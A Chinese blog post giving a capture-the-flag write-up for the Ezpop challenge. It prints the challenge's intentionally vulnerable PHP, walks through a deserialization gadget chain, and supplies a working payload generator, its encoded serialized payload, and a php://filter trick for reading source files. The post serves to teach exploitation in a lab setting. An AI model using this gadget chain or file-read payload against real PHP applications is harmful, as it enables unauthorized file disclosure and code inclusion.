Loading

[BUUCTF题解][MRCTF2020]Ezpop 1

题目Ezpop说明了该题的考点(博主写完之后参考其他博客时才发现这里的pop其实有特殊含义),这里引用下其他博主的解释:

(原文链接:https://blog.csdn.net/weixin_45785288/article/details/109877324)

这个题目就是关于这个POP的一个具体题目场景,做题时就可以大概感受POP是如何发挥作用的。

打开页面,直接明了的给出了源码和目标——flag.php。

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

 从非定义部分的代码开始审查。

在传入参数pop被设置时对其进行反序列化,那么再查看此前定义的类中哪些具有和反序列化相关的魔术方法,调用这些魔术方法中设置的代码,就可以执行此处反序列化之外更多的代码,从而实现我们读取flag.php中flag的要求。

Modifier类中append()方法会将传入参数包含,而此处魔术方法__invoke中设置了将Modifier类中的var属性作为传入值来调用append()函数,所以在这里需要让属性var的值为flag.php,再触发魔术方法__invoke即可。魔术方法__invoke被自动调用的条件是类被当成一个函数被调用,故接着来寻找和函数调用有关的代码。

在Test类中有两个魔法函数__construct和__get,但魔法函数__construct这里用不上只需要关注魔法函数__get就好。魔法函数__get中设置了属性p会被当做函数调用,刚好符合前面Modifier类中的要求。故需要再触发魔法函数__get即可,魔法函数__get会在访问类中一个不存在的属性时自动调用,那就需要寻找和调用属性相关的代码。

Show类中有三个魔术方法,同样魔术方法__construct这里也用不上,在魔术方法__toString中会返回属性str中的属性source,如果刚刚提到的source属性不存在,那么就符合了Test类中的要求,那这里。魔术方法__toString在类被当做一个字符串处理时会被自动调用,在魔术方法__wakeup则将属性source传入正则匹配函数preg_match(),在这个函数中source属性就被当做字符串处理。最终这个魔术方法__wakeup又在类被反序列化时自动调用。这样从Test类中append()方法到Show类中的魔术方法__wakup就形成了一条调用链,这就是POP的一个使用样例,而题目——Ezpop就说明了这题设计的知识。(

综上所述,一次经历了如下过程:

反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)

最终payload代码如下(删去了源码中一些不必要的部分):

<?php
class Modifier {
    protected  $var="flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Show();
$b= new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();
echo urlencode(serialize($a)); #因为Modifier类中的属性var为protected,将序列化后结果进行URL编码后可省略考虑不可见字符直接复制而丢失
#结果为O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
?>

但是直接包含flag.php得不到flag,需要读取flag.php的源码,直接包含只能见到如下内容。

 

那用伪协议来读取flag.php源码即可,这里将Modifier类的属性var的值替换掉。

protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

对获得的内容base64解密即可获得flag。

 

posted @ 2021-04-14 13:26  Article_kelp  阅读(2328)  评论(0编辑  收藏  举报